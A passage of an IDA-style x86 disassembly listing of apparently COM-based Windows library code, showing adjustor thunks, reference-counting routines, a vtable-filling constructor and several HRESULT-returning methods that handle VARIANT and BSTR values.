loc_69B5314C: ; DATA XREF: .text:69B28364o
sub dword ptr [esp+4], 24h
jmp sub_69B5208D
; ---------------------------------------------------------------------------
loc_69B53156: ; DATA XREF: .text:69B28368o
sub dword ptr [esp+4], 24h
jmp sub_69B5222F
; ---------------------------------------------------------------------------
loc_69B53160: ; DATA XREF: .text:69B2836Co
sub dword ptr [esp+4], 24h
jmp sub_69B520A1
; ---------------------------------------------------------------------------
loc_69B5316A: ; DATA XREF: .text:69B28370o
sub dword ptr [esp+4], 24h
jmp sub_69B520B5
; ---------------------------------------------------------------------------
loc_69B53174: ; DATA XREF: .text:69B28374o
sub dword ptr [esp+4], 24h
jmp sub_69B520C9
; ---------------------------------------------------------------------------
loc_69B5317E: ; DATA XREF: .text:69B28378o
sub dword ptr [esp+4], 24h
jmp sub_69B520EA
; ---------------------------------------------------------------------------
loc_69B53188: ; DATA XREF: .text:69B2837Co
sub dword ptr [esp+4], 24h
jmp sub_69B52101
; ---------------------------------------------------------------------------
loc_69B53192: ; DATA XREF: .text:69B28380o
sub dword ptr [esp+4], 24h
jmp sub_69B52118
; ---------------------------------------------------------------------------
loc_69B5319C: ; DATA XREF: .text:69B28384o
sub dword ptr [esp+4], 24h
jmp sub_69B5212F
; ---------------------------------------------------------------------------
loc_69B531A6: ; DATA XREF: .text:69B28388o
sub dword ptr [esp+4], 24h
jmp sub_69B5214A
; ---------------------------------------------------------------------------
loc_69B531B0: ; DATA XREF: .text:69B2838Co
sub dword ptr [esp+4], 24h
jmp sub_69B52165
; ---------------------------------------------------------------------------
loc_69B531BA: ; DATA XREF: .text:69B28390o
sub dword ptr [esp+4], 24h
jmp sub_69B52180
; ---------------------------------------------------------------------------
loc_69B531C4: ; DATA XREF: .text:69B28394o
sub dword ptr [esp+4], 24h
jmp sub_69B52197
; ---------------------------------------------------------------------------
loc_69B531CE: ; DATA XREF: .text:69B28398o
sub dword ptr [esp+4], 24h
jmp sub_69B521AE
; ---------------------------------------------------------------------------
loc_69B531D8: ; DATA XREF: .text:69B2839Co
sub dword ptr [esp+4], 24h
jmp sub_69B521C5
; ---------------------------------------------------------------------------
loc_69B531E2: ; DATA XREF: .text:69B283A0o
sub dword ptr [esp+4], 24h
jmp sub_69B521DC
; ---------------------------------------------------------------------------
loc_69B531EC: ; DATA XREF: .text:69B283A4o
sub dword ptr [esp+4], 20h
jmp sub_69B5232D
; =============== S U B R O U T I N E =======================================
sub_69B531F6 proc near ; CODE XREF: sub_69B538B4+B0p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push 1
push 1
push [esp+8+arg_4]
push [esp+0Ch+arg_4]
push [esp+10h+arg_0]
call sub_69B4C674
retn 8
sub_69B531F6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B5320E proc near ; CODE XREF: .text:69B53274j
; .text:69B5327Bj ...
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push edi
call dword_69B92948
mov edi, eax
test edi, edi
jnz short loc_69B53228
mov eax, 80004005h
jmp short loc_69B5326A
; ---------------------------------------------------------------------------
loc_69B53228: ; CODE XREF: sub_69B5320E+11j
push ebx
push esi
mov esi, [ebp+arg_0]
mov ecx, [esi+2Ch]
add ecx, 0Ch
call sub_69B87FDC
push eax
push edi
lea ecx, [ebp+var_C]
call sub_69B1A8C7
lea eax, [esi+28h]
push eax ; lpAddend
call ds:InterlockedIncrement ; InterlockedIncrement
mov esi, [esi+2Ch]
mov ebx, eax
mov eax, [esi]
push esi
call dword ptr [eax+4]
lea ecx, [ebp+var_C]
call sub_69B1976C
push edi
call dword_69B92944
pop esi
mov eax, ebx
pop ebx
loc_69B5326A: ; CODE XREF: sub_69B5320E+18j
pop edi
leave
retn 4
sub_69B5320E endp
; ---------------------------------------------------------------------------
loc_69B5326F: ; DATA XREF: .text:69B288DCo
sub dword ptr [esp+4], 4
jmp short sub_69B5320E
; ---------------------------------------------------------------------------
loc_69B53276: ; DATA XREF: .text:69B28824o
sub dword ptr [esp+4], 8
jmp short sub_69B5320E
; ---------------------------------------------------------------------------
loc_69B5327D: ; DATA XREF: .text:69B28754o
sub dword ptr [esp+4], 0Ch
jmp short sub_69B5320E
; ---------------------------------------------------------------------------
loc_69B53284: ; DATA XREF: .text:69B28684o
sub dword ptr [esp+4], 10h
jmp short sub_69B5320E
; ---------------------------------------------------------------------------
loc_69B5328B: ; DATA XREF: .text:69B285D4o
sub dword ptr [esp+4], 14h
jmp sub_69B5320E
; ---------------------------------------------------------------------------
loc_69B53295: ; DATA XREF: .text:69B2851Co
sub dword ptr [esp+4], 18h
jmp sub_69B5320E
; ---------------------------------------------------------------------------
loc_69B5329F: ; DATA XREF: .text:69B28464o
sub dword ptr [esp+4], 1Ch
jmp sub_69B5320E
; ---------------------------------------------------------------------------
loc_69B532A9: ; DATA XREF: .text:69B283B4o
sub dword ptr [esp+4], 20h
jmp sub_69B5320E
; ---------------------------------------------------------------------------
loc_69B532B3: ; DATA XREF: .text:69B282FCo
sub dword ptr [esp+4], 24h
jmp sub_69B5320E
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B532BD proc near ; CODE XREF: .text:69B53336j
; .text:69B5333Dj ...
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
call dword_69B92948
mov ebx, eax
test ebx, ebx
jnz short loc_69B532D7
mov eax, 80004005h
jmp short loc_69B5332C
; ---------------------------------------------------------------------------
loc_69B532D7: ; CODE XREF: sub_69B532BD+11j
push esi
mov esi, [ebp+arg_0]
mov ecx, [esi+2Ch]
push edi
add ecx, 0Ch
call sub_69B87FDC
push eax
push ebx
lea ecx, [ebp+var_C]
call sub_69B1A8C7
lea eax, [esi+28h]
push eax ; lpAddend
call ds:InterlockedDecrement ; InterlockedDecrement
mov edi, eax
test edi, edi
jnz short loc_69B53310
mov ecx, esi
call sub_69B51E15
push esi
call sub_69B1B2B7
jmp short loc_69B53319
; ---------------------------------------------------------------------------
loc_69B53310: ; CODE XREF: sub_69B532BD+42j
mov esi, [esi+2Ch]
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B53319: ; CODE XREF: sub_69B532BD+51j
lea ecx, [ebp+var_C]
call sub_69B1976C
push ebx
call dword_69B92944
mov eax, edi
pop edi
pop esi
loc_69B5332C: ; CODE XREF: sub_69B532BD+18j
pop ebx
leave
retn 4
sub_69B532BD endp
; ---------------------------------------------------------------------------
loc_69B53331: ; DATA XREF: .text:69B288E0o
sub dword ptr [esp+4], 4
jmp short sub_69B532BD
; ---------------------------------------------------------------------------
loc_69B53338: ; DATA XREF: .text:69B28828o
sub dword ptr [esp+4], 8
jmp sub_69B532BD
; ---------------------------------------------------------------------------
loc_69B53342: ; DATA XREF: .text:69B28758o
sub dword ptr [esp+4], 0Ch
jmp sub_69B532BD
; ---------------------------------------------------------------------------
loc_69B5334C: ; DATA XREF: .text:69B28688o
sub dword ptr [esp+4], 10h
jmp sub_69B532BD
; ---------------------------------------------------------------------------
loc_69B53356: ; DATA XREF: .text:69B285D8o
sub dword ptr [esp+4], 14h
jmp sub_69B532BD
; ---------------------------------------------------------------------------
loc_69B53360: ; DATA XREF: .text:69B28520o
sub dword ptr [esp+4], 18h
jmp sub_69B532BD
; ---------------------------------------------------------------------------
loc_69B5336A: ; DATA XREF: .text:69B28468o
sub dword ptr [esp+4], 1Ch
jmp sub_69B532BD
; ---------------------------------------------------------------------------
loc_69B53374: ; DATA XREF: .text:69B283B8o
sub dword ptr [esp+4], 20h
jmp sub_69B532BD
; ---------------------------------------------------------------------------
loc_69B5337E: ; DATA XREF: .text:69B28300o
sub dword ptr [esp+4], 24h
jmp sub_69B532BD
; =============== S U B R O U T I N E =======================================
sub_69B53388 proc near ; CODE XREF: sub_69B3FC6D+1Ap
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov dword ptr [eax], offset off_69B28990
mov dword ptr [eax+4], offset off_69B288D8
mov dword ptr [eax+8], offset off_69B28820
mov dword ptr [eax+0Ch], offset off_69B28750
mov dword ptr [eax+10h], offset off_69B28680
mov dword ptr [eax+14h], offset off_69B285D0
mov dword ptr [eax+18h], offset off_69B28518
mov dword ptr [eax+1Ch], offset off_69B28460
mov dword ptr [eax+20h], offset off_69B283B0
mov dword ptr [eax+24h], offset off_69B282F8
mov dword ptr [eax+28h], 1
mov [eax+2Ch], ecx
retn 4
sub_69B53388 endp
; =============== S U B R O U T I N E =======================================
sub_69B533E0 proc near ; CODE XREF: .text:69B54631j
; .text:69B5463Bj ...
push 24h
push offset dword_69B53488
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B53400
mov eax, 80004005h
jmp short loc_69B5347C
; ---------------------------------------------------------------------------
loc_69B53400: ; CODE XREF: sub_69B533E0+17j
mov esi, [ebp+8]
push dword ptr [esi+2Ch]
push eax
lea ecx, [ebp-2Ch]
call sub_69B40E2F
cmp dword ptr [ebp+0Ch], 0
jnz short loc_69B5341C
mov esi, 80070057h
jmp short loc_69B53469
; ---------------------------------------------------------------------------
loc_69B5341C: ; CODE XREF: sub_69B533E0+33j
and dword ptr [ebp-4], 0
mov eax, [esi+2Ch]
mov ecx, [eax+1Ch]
mov [ebp-30h], ecx
mov eax, [ecx]
call dword ptr [eax+0B4h]
mov ecx, [eax]
push dword ptr [ebp+0Ch]
push offset stru_69B25E34
push eax
call dword ptr [ecx]
mov esi, eax
mov [ebp-34h], esi
jmp short loc_69B53465
; ---------------------------------------------------------------------------
loc_69B53445: ; DATA XREF: .text:69B5348Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B5344E: ; DATA XREF: .text:69B53490o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov esi, eax
loc_69B53465: ; CODE XREF: sub_69B533E0+63j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B53469: ; CODE XREF: sub_69B533E0+3Aj
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, esi
loc_69B5347C: ; CODE XREF: sub_69B533E0+1Ej
call sub_69B1853C
retn 8
sub_69B533E0 endp
; ---------------------------------------------------------------------------
align 8
dword_69B53488 dd 0FFFFFFFFh dd offset loc_69B53445
dd offset loc_69B5344E
; =============== S U B R O U T I N E =======================================
sub_69B53494 proc near ; DATA XREF: .text:69B28A40o
push 3Ch
push offset dword_69B535A8
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B534B9
mov eax, 80004005h
jmp loc_69B53599
; ---------------------------------------------------------------------------
loc_69B534B9: ; CODE XREF: sub_69B53494+19j
mov esi, [ebp+8]
push dword ptr [esi+2Ch]
push eax
lea ecx, [ebp-2Ch]
call sub_69B40E2F
mov [ebp-30h], ebx
cmp [ebp+0Ch], ebx
jz short loc_69B534D7
mov edi, [ebp+10h]
cmp edi, ebx
jnz short loc_69B534E1
loc_69B534D7: ; CODE XREF: sub_69B53494+3Aj
mov esi, 80070057h
jmp loc_69B53586
; ---------------------------------------------------------------------------
loc_69B534E1: ; CODE XREF: sub_69B53494+41j
push edi ; pvarg
call VariantInit
mov [ebp-4], ebx
mov eax, [esi+2Ch]
mov esi, [eax+1Ch]
mov [ebp-34h], esi
mov [ebp-38h], esi
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0B4h]
mov [ebp-3Ch], eax
push eax ; int
push 0Fh ; int
push dword ptr [ebp+0Ch] ; lpString
mov ecx, esi
call sub_69B49D8E
mov ecx, eax
mov [ebp-40h], ecx
mov [ebp-44h], ebx
cmp ecx, ebx
jz short loc_69B5354D
call sub_69B4B7D5
mov [ebp-44h], eax
cmp eax, ebx
jz short loc_69B5354D
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+2Ch]
mov [ebp-48h], eax
mov word ptr [edi], 8
mov ecx, [eax+0Ch]
mov [ebp-4Ch], ecx
push dword ptr [eax+8] ; UINT
push ecx ; OLECHAR *
call SysAllocStringLen
mov [edi+8], eax
jmp short loc_69B53559
; ---------------------------------------------------------------------------
loc_69B5354D: ; CODE XREF: sub_69B53494+87j
; sub_69B53494+93j
xor eax, eax
inc eax
mov [edi], ax
mov [edi+8], ebx
mov [ebp-30h], eax
loc_69B53559: ; CODE XREF: sub_69B53494+B7j
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, [ebp-30h]
jmp short loc_69B53586
; ---------------------------------------------------------------------------
loc_69B53562: ; DATA XREF: .text:69B535ACo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B5356B: ; DATA XREF: .text:69B535B0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov esi, eax
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B53586: ; CODE XREF: sub_69B53494+48j
; sub_69B53494+CCj
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, esi
loc_69B53599: ; CODE XREF: sub_69B53494+20j
call sub_69B1853C
retn 0Ch
sub_69B53494 endp
; ---------------------------------------------------------------------------
align 8
dword_69B535A8 dd 0FFFFFFFFh dd offset loc_69B53562
dd offset loc_69B5356B
; =============== S U B R O U T I N E =======================================
sub_69B535B4 proc near ; DATA XREF: .text:69B28A44o
push 44h
push offset dword_69B536D0
call sub_69B19C5C
call dword_69B92948
mov edi, eax
mov [ebp-1Ch], edi
xor ebx, ebx
cmp edi, ebx
jz short loc_69B535F4
mov esi, [ebp+8]
push dword ptr [esi+2Ch]
push edi
lea ecx, [ebp-30h]
call sub_69B40DFB
cmp [ebp-2Ch], bl
jnz short loc_69B535FE
lea ecx, [ebp-30h]
call sub_69B4637D
push edi
call dword_69B92944
loc_69B535F4: ; CODE XREF: sub_69B535B4+1Bj
mov eax, 80004005h
jmp loc_69B536C5
; ---------------------------------------------------------------------------
loc_69B535FE: ; CODE XREF: sub_69B535B4+2Fj
mov word ptr [ebp-40h], 1
push 8 ; vt
push ebx ; wFlags
call ds:GetThreadLocale ; GetThreadLocale
push eax ; lcid
lea eax, [ebp+10h]
push eax ; pvarSrc
lea eax, [ebp-40h]
push eax ; pvargDest
call VariantChangeTypeEx
mov [ebp-44h], eax
cmp eax, ebx
jnz loc_69B536A7
mov edi, [ebp-38h]
cmp [ebp+0Ch], ebx
jnz short loc_69B53638
mov dword ptr [ebp-44h], 80070057h
jmp short loc_69B536A7
; ---------------------------------------------------------------------------
loc_69B53638: ; CODE XREF: sub_69B535B4+79j
mov [ebp-4], ebx
mov eax, [esi+2Ch]
mov esi, [eax+1Ch]
mov [ebp-48h], esi
mov [ebp-4Ch], esi
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0B4h]
mov [ebp-50h], eax
mov ecx, esi
call sub_69B48CEA
cmp edi, ebx
jz short loc_69B5366A
push edi ; lpString
call sub_69B1A587
mov [ebp-54h], eax
jmp short loc_69B53671
; ---------------------------------------------------------------------------
loc_69B5366A: ; CODE XREF: sub_69B535B4+A9j
mov dword ptr [ebp-54h], offset off_69B1A5AC
loc_69B53671: ; CODE XREF: sub_69B535B4+B4j
push ebx
push dword ptr [ebp-54h]
push dword ptr [ebp+0Ch]
push ebx
mov ecx, esi
call sub_69B4D02C
jmp short loc_69B536A3
; ---------------------------------------------------------------------------
loc_69B53682: ; DATA XREF: .text:69B536D4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B5368B: ; DATA XREF: .text:69B536D8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-44h], eax
loc_69B536A3: ; CODE XREF: sub_69B535B4+CCj
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B536A7: ; CODE XREF: sub_69B535B4+6Dj
; sub_69B535B4+82j
lea eax, [ebp-40h]
push eax ; pvarg
call VariantClear
lea ecx, [ebp-30h]
call sub_69B4637D
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-44h]
loc_69B536C5: ; CODE XREF: sub_69B535B4+45j
call sub_69B1853C
retn 18h
sub_69B535B4 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B536D0 dd 0FFFFFFFFh dd offset loc_69B53682
dd offset loc_69B5368B
; =============== S U B R O U T I N E =======================================
sub_69B536DC proc near ; DATA XREF: .text:69B28A48o
push 34h
push offset dword_69B537C0
call sub_69B19C5C
call dword_69B92948
mov edi, eax
mov [ebp-1Ch], edi
xor ebx, ebx
cmp edi, ebx
jz short loc_69B5371C
mov esi, [ebp+8]
push dword ptr [esi+2Ch]
push edi
lea ecx, [ebp-30h]
call sub_69B40DFB
cmp [ebp-2Ch], bl
jnz short loc_69B53726
lea ecx, [ebp-30h]
call sub_69B4637D
push edi
call dword_69B92944
loc_69B5371C: ; CODE XREF: sub_69B536DC+1Bj
mov eax, 80004005h
jmp loc_69B537B6
; ---------------------------------------------------------------------------
loc_69B53726: ; CODE XREF: sub_69B536DC+2Fj
xor edi, edi
cmp [ebp+0Ch], ebx
jnz short loc_69B53734
mov edi, 80070057h
jmp short loc_69B537A3
; ---------------------------------------------------------------------------
loc_69B53734: ; CODE XREF: sub_69B536DC+4Fj
mov [ebp-4], ebx
mov eax, [esi+2Ch]
mov esi, [eax+1Ch]
mov [ebp-34h], esi
mov [ebp-38h], esi
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0B4h]
mov [ebp-3Ch], eax
mov ecx, esi
call sub_69B48CEA
push ebx ; int
push 0Fh ; int
push dword ptr [ebp+0Ch] ; lpString
mov ecx, esi
call sub_69B49D8E
mov [ebp-40h], eax
cmp eax, ebx
jz short loc_69B53777
push 1
push eax
mov ecx, esi
call sub_69B3D570
jmp short loc_69B5379F
; ---------------------------------------------------------------------------
loc_69B53777: ; CODE XREF: sub_69B536DC+8Dj
xor edi, edi
inc edi
mov [ebp-44h], edi
jmp short loc_69B5379F
; ---------------------------------------------------------------------------
loc_69B5377F: ; DATA XREF: .text:69B537C4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B53788: ; DATA XREF: .text:69B537C8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov edi, eax
loc_69B5379F: ; CODE XREF: sub_69B536DC+99j
; sub_69B536DC+A1j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B537A3: ; CODE XREF: sub_69B536DC+56j
lea ecx, [ebp-30h]
call sub_69B4637D
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, edi
loc_69B537B6: ; CODE XREF: sub_69B536DC+45j
call sub_69B1853C
retn 8
sub_69B536DC endp
; ---------------------------------------------------------------------------
align 10h
dword_69B537C0 dd 0FFFFFFFFh dd offset loc_69B5377F
dd offset loc_69B53788
; =============== S U B R O U T I N E =======================================
sub_69B537CC proc near ; DATA XREF: .text:69B28A4Co
push 30h
push offset dword_69B538A8
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B537F1
mov eax, 80004005h
jmp loc_69B5389A
; ---------------------------------------------------------------------------
loc_69B537F1: ; CODE XREF: sub_69B537CC+19j
mov esi, [ebp+8]
push dword ptr [esi+2Ch]
push eax
lea ecx, [ebp-2Ch]
call sub_69B40E2F
cmp [ebp+0Ch], ebx
jnz short loc_69B5380E
mov dword ptr [ebp-30h], 80070057h
jmp short loc_69B53886
; ---------------------------------------------------------------------------
loc_69B5380E: ; CODE XREF: sub_69B537CC+37j
mov edi, [ebp+10h]
cmp edi, ebx
jz short loc_69B53817
mov [edi], ebx
loc_69B53817: ; CODE XREF: sub_69B537CC+47j
mov [ebp-4], ebx
mov eax, [esi+2Ch]
mov esi, [eax+1Ch]
mov [ebp-34h], esi
mov [ebp-38h], esi
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0B4h]
mov [ebp-3Ch], eax
push eax ; int
push 0Fh ; int
push dword ptr [ebp+0Ch] ; lpString
mov ecx, esi
call sub_69B49D8E
mov [ebp-40h], eax
cmp eax, ebx
jz short loc_69B53858
cmp edi, ebx
jz short loc_69B53858
mov ecx, [eax]
push edi
push offset dword_69B25DE4
push eax
call dword ptr [ecx]
jmp short loc_69B5387F
; ---------------------------------------------------------------------------
loc_69B53858: ; CODE XREF: sub_69B537CC+79j
; sub_69B537CC+7Dj
mov dword ptr [ebp-30h], 1
jmp short loc_69B53882
; ---------------------------------------------------------------------------
loc_69B53861: ; DATA XREF: .text:69B538ACo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B5386A: ; DATA XREF: .text:69B538B0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B5387F: ; CODE XREF: sub_69B537CC+8Aj
mov [ebp-30h], eax
loc_69B53882: ; CODE XREF: sub_69B537CC+93j
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B53886: ; CODE XREF: sub_69B537CC+40j
lea ecx, [ebp-2Ch]
call sub_69B18EBA
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-30h]
loc_69B5389A: ; CODE XREF: sub_69B537CC+20j
call sub_69B1853C
retn 0Ch
sub_69B537CC endp
; ---------------------------------------------------------------------------
align 8
dword_69B538A8 dd 0FFFFFFFFh dd offset loc_69B53861
dd offset loc_69B5386A
; =============== S U B R O U T I N E =======================================
sub_69B538B4 proc near ; DATA XREF: .text:69B28A50o
push 34h
push offset dword_69B539E0
call sub_69B19C5C
call dword_69B92948
mov edi, eax
mov [ebp-1Ch], edi
xor ebx, ebx
cmp edi, ebx
jz short loc_69B538F4
mov esi, [ebp+8]
push dword ptr [esi+2Ch]
push edi
lea ecx, [ebp-30h]
call sub_69B40DFB
cmp [ebp-2Ch], bl
jnz short loc_69B538FE
lea ecx, [ebp-30h]
call sub_69B4637D
push edi
call dword_69B92944
loc_69B538F4: ; CODE XREF: sub_69B538B4+1Bj
mov eax, 80004005h
jmp loc_69B539D2
; ---------------------------------------------------------------------------
loc_69B538FE: ; CODE XREF: sub_69B538B4+2Fj
mov [ebp-34h], ebx
cmp [ebp+0Ch], ebx
jnz short loc_69B53912
mov dword ptr [ebp-34h], 80070057h
jmp loc_69B539BE
; ---------------------------------------------------------------------------
loc_69B53912: ; CODE XREF: sub_69B538B4+50j
mov [ebp-4], ebx
mov eax, [esi+2Ch]
mov esi, [eax+1Ch]
mov [ebp-38h], esi
mov [ebp-3Ch], esi
mov [ebp-40h], ebx
mov ecx, esi
call sub_69B48CEA
push dword ptr [ebp+0Ch]
call sub_69B47D5E
mov edi, eax
mov [ebp-40h], edi
cmp edi, ebx
jz short loc_69B53990
mov al, [edi+0Bh]
and al, 1Fh
cmp al, 0Fh
jnz short loc_69B53990
push ebx
push 0Fh
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+3Ch]
push eax
mov ecx, esi
call sub_69B49E5A
mov ebx, eax
mov [ebp-44h], ebx
mov ecx, esi
test ebx, ebx
jz short loc_69B5397E
push ebx
push edi
call sub_69B531F6
cmp dword ptr [ebp+10h], 0
jz short loc_69B539BA
mov eax, [ebx]
push dword ptr [ebp+10h]
push offset dword_69B25DE4
push ebx
call dword ptr [eax]
jmp short loc_69B539B7
; ---------------------------------------------------------------------------
loc_69B5397E: ; CODE XREF: sub_69B538B4+ACj
push edi
call sub_69B4CD4D
mov eax, [ebp+10h]
test eax, eax
jz short loc_69B539BA
and dword ptr [eax], 0
jmp short loc_69B539BA
; ---------------------------------------------------------------------------
loc_69B53990: ; CODE XREF: sub_69B538B4+86j
; sub_69B538B4+8Fj
mov dword ptr [ebp-34h], 80070057h
jmp short loc_69B539BA
; ---------------------------------------------------------------------------
loc_69B53999: ; DATA XREF: .text:69B539E4o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B539A2: ; DATA XREF: .text:69B539E8o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
loc_69B539B7: ; CODE XREF: sub_69B538B4+C8j
mov [ebp-34h], eax
loc_69B539BA: ; CODE XREF: sub_69B538B4+B9j
; sub_69B538B4+D5j ...
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B539BE: ; CODE XREF: sub_69B538B4+59j
lea ecx, [ebp-30h]
call sub_69B4637D
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-34h]
loc_69B539D2: ; CODE XREF: sub_69B538B4+45j
call sub_69B1853C
retn 0Ch
sub_69B538B4 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B539E0 dd 0FFFFFFFFh dd offset loc_69B53999
dd offset loc_69B539A2
; =============== S U B R O U T I N E =======================================
sub_69B539EC proc near ; DATA XREF: .text:69B28A54o
push 30h
push offset dword_69B53B00
call sub_69B19C5C
call dword_69B92948
mov edi, eax
mov [ebp-1Ch], edi
xor ebx, ebx
cmp edi, ebx
jz short loc_69B53A2C
mov esi, [ebp+8]
push dword ptr [esi+2Ch]
push edi
lea ecx, [ebp-30h]
call sub_69B40DFB
cmp [ebp-2Ch], bl
jnz short loc_69B53A36
lea ecx, [ebp-30h]
call sub_69B4637D
push edi
call dword_69B92944
loc_69B53A2C: ; CODE XREF: sub_69B539EC+1Bj
mov eax, 80004005h
jmp loc_69B53AF2
; ---------------------------------------------------------------------------
loc_69B53A36: ; CODE XREF: sub_69B539EC+2Fj
mov [ebp-34h], ebx
cmp [ebp+0Ch], ebx
jnz short loc_69B53A4A
mov dword ptr [ebp-34h], 80070057h
jmp loc_69B53ADE
; ---------------------------------------------------------------------------
loc_69B53A4A: ; CODE XREF: sub_69B539EC+50j
mov [ebp-4], ebx
mov eax, [esi+2Ch]
mov esi, [eax+1Ch]
mov [ebp-38h], esi
mov [ebp-3Ch], esi
mov [ebp-40h], ebx
mov ecx, esi
call sub_69B48CEA
push dword ptr [ebp+0Ch]
call sub_69B47D5E
mov edi, eax
mov [ebp-40h], edi
cmp edi, ebx
jz short loc_69B53AB0
mov al, [edi+0Bh]
and al, 1Fh
cmp al, 0Fh
jnz short loc_69B53AB0
push ebx
push 0Fh
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+3Ch]
push eax
mov ecx, esi
call sub_69B49E5A
cmp edi, eax
jnz short loc_69B53AB0
push ebx
push edi
mov ecx, esi
call sub_69B3D570
mov edi, [ebp+10h]
cmp edi, ebx
jz short loc_69B53ADA
mov esi, [ebp+0Ch]
mov eax, [esi]
push esi
call dword ptr [eax+4]
mov [edi], esi
jmp short loc_69B53ADA
; ---------------------------------------------------------------------------
loc_69B53AB0: ; CODE XREF: sub_69B539EC+86j
; sub_69B539EC+8Fj ...
mov dword ptr [ebp-34h], 80070057h
jmp short loc_69B53ADA
; ---------------------------------------------------------------------------
loc_69B53AB9: ; DATA XREF: .text:69B53B04o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B53AC2: ; DATA XREF: .text:69B53B08o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-34h], eax
loc_69B53ADA: ; CODE XREF: sub_69B539EC+B5j
; sub_69B539EC+C2j ...
or dword ptr [ebp-4], 0FFFFFFFFh
loc_69B53ADE: ; CODE XREF: sub_69B539EC+59j
lea ecx, [ebp-30h]
call sub_69B4637D
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-34h]
loc_69B53AF2: ; CODE XREF: sub_69B539EC+45j
call sub_69B1853C
retn 0Ch
sub_69B539EC endp
; ---------------------------------------------------------------------------
align 10h
dword_69B53B00 dd 0FFFFFFFFh dd offset loc_69B53AB9
dd offset loc_69B53AC2
; =============== S U B R O U T I N E =======================================
sub_69B53B0C proc near ; DATA XREF: .text:69B28A5Co
push 2Ch
push offset dword_69B53BB8
call sub_69B19C5C
call dword_69B92948
mov edi, eax
mov [ebp-1Ch], edi
xor ebx, ebx
cmp edi, ebx
jz short loc_69B53B4C
mov esi, [ebp+8]
push dword ptr [esi+2Ch]
push edi
lea ecx, [ebp-30h]
call sub_69B40DFB
cmp [ebp-2Ch], bl
jnz short loc_69B53B53
lea ecx, [ebp-30h]
call sub_69B4637D
push edi
call dword_69B92944
loc_69B53B4C: ; CODE XREF: sub_69B53B0C+1Bj
mov eax, 80004005h
jmp short loc_69B53BAE
; ---------------------------------------------------------------------------
loc_69B53B53: ; CODE XREF: sub_69B53B0C+2Fj
mov [ebp-4], ebx
mov eax, [esi+2Ch]
mov esi, [eax+1Ch]
mov [ebp-34h], esi
mov [ebp-38h], esi
mov ecx, esi
call sub_69B48CEA
mov ecx, esi
call sub_69B4A528
mov [ebp-3Ch], ebx
jmp short loc_69B53B96
; ---------------------------------------------------------------------------
loc_69B53B75: ; DATA XREF: .text:69B53BBCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B53B7E: ; DATA XREF: .text:69B53BC0o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-3Ch], eax
loc_69B53B96: ; CODE XREF: sub_69B53B0C+67j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-30h]
call sub_69B4637D
